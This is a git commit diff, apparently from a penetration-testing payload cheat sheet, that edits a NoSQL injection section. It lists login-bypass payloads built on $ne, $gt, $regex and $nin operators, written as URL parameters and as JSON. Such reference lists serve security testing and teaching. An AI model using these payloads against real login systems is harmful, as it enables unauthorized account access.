Bind shell cheatsheet (Fix #194)

This commit is contained in:
Swissky
2020-05-24 14:09:46 +02:00
parent c734586e72
commit 4ca5e71c2f
10 changed files with 134 additions and 13 deletions

View File

@@ -27,8 +27,11 @@
Basic authentication bypass using not equal ($ne) or greater ($gt)
```json
in URL
in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}